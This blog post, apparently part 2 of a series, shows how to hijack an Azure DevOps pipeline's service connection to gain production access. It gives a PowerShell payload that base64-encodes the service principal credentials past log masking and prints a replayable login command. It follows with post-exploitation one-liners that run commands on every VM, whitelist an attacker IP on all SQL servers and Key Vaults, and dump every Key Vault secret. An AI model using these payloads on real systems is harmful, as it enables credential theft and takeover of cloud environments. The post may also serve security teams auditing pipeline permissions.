Center of attention

{ Abusing pipelines to hijack production part 2 } #

As I mentioned in part 1 of this series. (Which I assume you have read)


giving a DevOps pipeline access to the production subscription via a Service connection is the same as providing all developers who can edit that pipeline CLI access to the production environment.

And while it may sound bold, it's correct! Let's explore just how an attacker can "move" or "hijack" an Azure DevOps pipeline session to gain actual CLI access through a Azure (Az) PowerShell session running locally, essentially using the service connection as a permanent backdoor!

{ Azure CLI } ##

First, follow steps 1 to 4 from Part 1,  which goes over creating/editing an empty Azure DevOps pipeline.

Once there, click the “+” icon under Agent Job and search for “Azure CLI” from the right-hand side menu. Then click “Add” on the module.



Inside the Azure CLI task dialog, select your target Service connection under “Azure Ressource Manager Connection”. Select “Powershell” under “script type” and “Inline script” for “script location”.

 

Under advanced be sure to check both “Access service principal details in script” and “Use global Azure CLI configuration”, finally copy in the payload under “Inline script”


#Steal service principal creds from session
Write-Host "`$servicePrincipalId = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`""$([System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:servicePrincipalId)))"`"))"
Write-Host "`$servicePrincipalKey = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`""$([System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:servicePrincipalKey)))"`"))"
Write-Host "`$tenantId = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(`""$([System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($env:tenantId)))"`"))"
Write-Host "az login --service-principal -u `$servicePrincipalId -p `$servicePrincipalKey --tenant `$tenantId"


The payload we are using can also be found here, it’s a short and simple script that will extract and encode accessible “service principal details” from the pipeline environment variables. To make the “move” easy, it will output a few lines of PowerShell that we can C+P directly into your local PowerShell instance to authenticate as the Service Principal / Service Connection

Click “Save and Queue” and wait for the log output



Copy the output from line 51-54 and paste it directly into any PowerShell terminal (Needs to have Azure CLI installed )



We can now access the Azure environment “as” the Service Connection. Awesome!

{ AzureRM } ##


Microsoft states that “All versions of the AzureRM PowerShell module are outdated, but not out of support.” So if you really want to use AzureRM, you still have options for authentication

You can use the very same “Service Pricincal “ method

[SecureString] $secpasswd = ConvertTo-SecureString -String $servicePrincipalKey -AsPlainText -Force;
[PSCredential] $pscredential = New-Object System.Management.Automation.PSCredential ($servicePrincipalId, $secpasswd);
Connect-AzAccount -ServicePrincipal -Credential $pscredential -Tenant $tenantId


You can also authenticate using an "Access token". First authenticate using Azure CLI like described above, request a token, then authenticate using that token with AzureRM. Please note that depending on the configuration the token will only be valid for a set period of time. anything from 2-60 minutes.

After authentication using az, do

Az Account get-access-token


Copy the access token and do
Connect-AzAccount -AccessToken "<---TOKEN---->" -AccountId WhateverUWant

{ Snippets } ##

Below are some Azure CLI snippets for interacting with Azure resources, they can also be found here, I will continue to update this as I find more useful snippets.

#List all resources
az resource list | convertfrom-json | foreach-object { $_ | Select-Object type, name, resourceGroup, id}

#List details for all VM's
az vm lis

#Run PowerShell command on a VM
az vm run-command invoke --command-id RunPowerShellScript --name MyVm --resource-group MyResourceGroup --scripts 'whoami'

#Run PowerShell command on ALL VM's
az vm list | ConvertFrom-Json | Foreach-object {az vm run-command invoke --command-id RunPowerShellScript --name $_.name --resource-group $_.resourceGroup --scripts 'whoami;hostname' }

#List details for all SQL Servers
az sql server list
 
#Add IP to firewall whitelist for an SQL Server
az sql server firewall-rule create -g mygroup -s myserver -n myrule --start-ip-address XX.XX.XX.XX --end-ip-address XX.XX.XX.XX 

#Add IP to firewall whitelist for ALL SQL Servers
az sql server list | ConvertFrom-Json | Foreach-object { az sql server firewall-rule create -g $_.resourceGroup -s $_.name -n $(New-Guid)--start-ip-address XX.XX.XX.XX  --end-ip-address XX.XX.XX.XX  };

#Add IP to firewall whitelist for an Azure KeyVault
az keyvault network-rule add --ip-address XX.XX.XX.XX --name KEYVAULT-NAME

#Add IP to firewall whitelist for ALL Azure KeyVault(s)
foreach ($vaultName in $( az keyvault list | ConvertFrom-Json )) { az keyvault network-rule add --ip-address XX.XX.XX.XX --name $vaultName.name };

#Dump secrets from ALL Azure KeyVault(s)
foreach ($vaultName in $( az keyvault list | ConvertFrom-Json )) { foreach ( $secret in $(az keyvault secret list --vault-name $vaultName.name | ConvertFrom-Json)) { $secretValue = $(az keyvault secret show --id $secret.id | ConvertFrom-Json ); write-host $secretValue } };

#List all users in AAD (You may not have privs for this when abusing an service connection)
az ad user list

#List groups in AAD (You may not have privs for this when abusing an service connection)
az ad group list